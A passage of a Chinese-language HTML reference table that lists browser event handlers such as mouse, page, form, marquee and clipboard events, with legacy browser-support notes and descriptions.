 <th align="left" valign="top">onMouseMove</th>

<td>鼠标移动时触发的事件</td>
 </tr>
 <tr>
 <th align="left" valign="top">onMouseOut</th>
 <td valign="top">HTML: 2 | 3 | 3.2 | 4

Browser: IE4 | N3 | O3 </td>
 <td>当鼠标离开某对象范围时触发的事件</td>
 </tr>
 <tr>
 <th align="left" valign="top">onKeyPress</th>

<td>当键盘上的某个键被按下并且释放时触发的事件.[注意:页面内必须有被聚焦的对象]</td>
 </tr>
 <tr>
 <th align="left" valign="top">onKeyDown</th>
 <td valign="top">HTML: 2 | 3 | 3.2 | 4

Browser: IE4 | N4 | O </td>
 <td>当键盘上某个按键被按下时触发的事件[注意:页面内必须有被聚焦的对象]</td>
 </tr>
 <tr>
 <th align="left" valign="top">onKeyUp</th>

<td>当键盘上某个按键被按放开时触发的事件[注意:页面内必须有被聚焦的对象]</td>
 </tr>
 <tr>
 <th colspan="3" align="left">页面相关事件</th>
 </tr>
 <tr>
 <th>事件</th>

<th>浏览器支持</th>
 <th>描述</th>
 </tr>
 <tr>
 <th align="left" valign="top">onAbort</th>
 <td valign="top">HTML: 2 | 3 | 3.2 | 4

Browser: IE4 | N3 | O </td>
 <td>图片在下载时被用户中断</td>
 </tr>
 <tr>
 <th align="left" valign="top">onBeforeUnload</th>

<td valign="top">HTML: 2 | 3 | 3.2 | 4  
 Browser: IE4 | N | O </td>

<td>当前页面的内容将要被改变时触发的事件</td>
 </tr>
 <tr>
 <th align="left" valign="top">onError</th>
 <td valign="top">HTML: 2 | 3 | 3.2 | 4

Browser: IE4 | N3 | O </td>
 <td>捕抓当前页面因为某种原因而出现的错误，如脚本错误与外部数据引用的错误</td>
 </tr>
 <tr>
 <th align="left" valign="top">onLoad</th>

<td valign="top">HTML: 2 | 3 | 3.2 | 4  
 Browser: IE3 | N2 | O3 </td>

<td>页面内空完成传送到浏览器时触发的事件，包括外部文件引入完成</td>
 </tr>
 <tr>
 <th align="left" valign="top">onMove</th>
 <td valign="top">HTML: 2 | 3 | 3.2 | 4

Browser: IE | N4 | O </td>
 <td>浏览器的窗口被移动时触发的事件</td>
 </tr>
 <tr>
 <th align="left" valign="top">onResize</th>

<td valign="top">HTML: 2 | 3 | 3.2 | 4  
 Browser: IE4 | N4 | O </td>

<td>当浏览器的窗口大小被改变时触发的事件</td>
 </tr>
 <tr>
 <th align="left" valign="top">onScroll</th>
 <td valign="top">HTML: 2 | 3 | 3.2 | 4

Browser: IE4 | N | O </td>
 <td>浏览器的滚动条位置发生变化时触发的事件</td>
 </tr>
 <tr>
 <th align="left" valign="top">onStop</th>

<td valign="top">HTML: 2 | 3 | 3.2 | 4  
 Browser: IE5 | N | O</td>

<td>浏览器的停止按钮被按下时触发的事件或者正在下载的文件被中断</td>
 </tr>
 <tr>
 <th align="left" valign="top">onUnload</th>
 <td valign="top">HTML: 2 | 3 | 3.2 | 4

Browser: IE3 | N2 | O3 </td>
 <td>当前页面将被改变时触发的事件</td>
 </tr>
 <tr>
 <th colspan="3" align="left">表单相关事件</th>

</tr>
 <tr>
 <th>事件</th>
 <th>浏览器支持</th>
 <th>描述</th>
 </tr>
 <tr>

<th align="left" valign="top">onBlur</th>
 <td valign="top">HTML: 2 | 3 | 3.2 | 4  
 Browser: IE3 | N2 | O3 </td>

<td>当前元素失去焦点时触发的事件 [鼠标与键盘的触发均可]</td>
 </tr>
 <tr>
 <th align="left" valign="top">onChange</th>
 <td valign="top">HTML: 2 | 3 | 3.2 | 4

Browser: IE3 | N2 | O3 </td>
 <td>当前元素失去焦点并且元素的内容发生改变而触发的事件 [鼠标与键盘的触发均可]</td>
 </tr>
 <tr>
 <th align="left" valign="top">onFocus</th>

<td>当某个元素获得焦点时触发的事件</td>
 </tr>
 <tr>
 <th align="left" valign="top">onReset</th>
 <td valign="top">HTML: 2 | 3 | 3.2 | 4

Browser: IE4 | N3 | O3 </td>
 <td>当表单中RESET的属性被激发时触发的事件</td>
 </tr>
 <tr>
 <th align="left" valign="top">onSubmit</th>

<td>一个表单被递交时触发的事件</td>
 </tr>
 <tr>
 <th colspan="3" align="left">滚动字幕事件</th>
 </tr>
 <tr>
 <th>事件</th>

<th>浏览器支持</th>
 <th>描述</th>
 </tr>
 <tr>
 <th align="left" valign="top">onBounce</th>
 <td valign="top">HTML: 2 | 3 | 3.2 | 4

Browser: IE4 | N | O </td>
 <td>在Marquee内的内容移动至Marquee显示范围之外时触发的事件</td>
 </tr>
 <tr>
 <th align="left" valign="top">onFinish</th>

<td valign="top">HTML: 2 | 3 | 3.2 | 4  
 Browser: IE4 | N | O </td>

<td>当Marquee元素完成需要显示的内容后触发的事件</td>
 </tr>
 <tr>
 <th align="left" valign="top">onStart</th>
 <td valign="top">HTML: 2 | 3 | 3.2 | 4

Browser: IE4 | N | O </td>
 <td>当Marquee元素开始显示内容时触发的事件</td>
 </tr>
 <tr>
 <th colspan="3" align="left">编辑事件</th>

<th align="left" valign="top">onBeforeCopy</th>
 <td valign="top">HTML: 2 | 3 | 3.2 | 4  
 Browser: IE5 | N | O </td>

<td>当页面当前的被选择内容将要复制到浏览者系统的剪贴板前触发的事件</td>
 </tr>
 <tr>
 <th align="left" valign="top">onBeforeCut</th>
 <td valign="top">HTML: 2 | 3 | 3.2 | 4

Browser: IE5 | N | O </td>
 <td>当页面中的一部分或者全部的内容将被移离当前页面[剪贴]并移动到浏览者的系统剪贴板时触发的事件</td>
 </tr>
 <tr>
 <th align="left" valign="top">onBeforeEditFocus</th>

<td valign="top">HTML: 2 | 3 | 3.2 | 4  
 Browser: IE5 | N | O</td>

<td>当前元素将要进入编辑状态</td>
 </tr>
 <tr>
 <th align="left" valign="top">onBeforePaste</th>
 <td valign="top">HTML: 2 | 3 | 3.2 | 4

Browser: IE5 | N | O </td>
 <td>内容将要从浏览者的系统剪贴板传送[粘贴]到页面中时触发的事件</td>
 </tr>
 <tr>
 <th align="left" valign="top">onBeforeUpdate</th>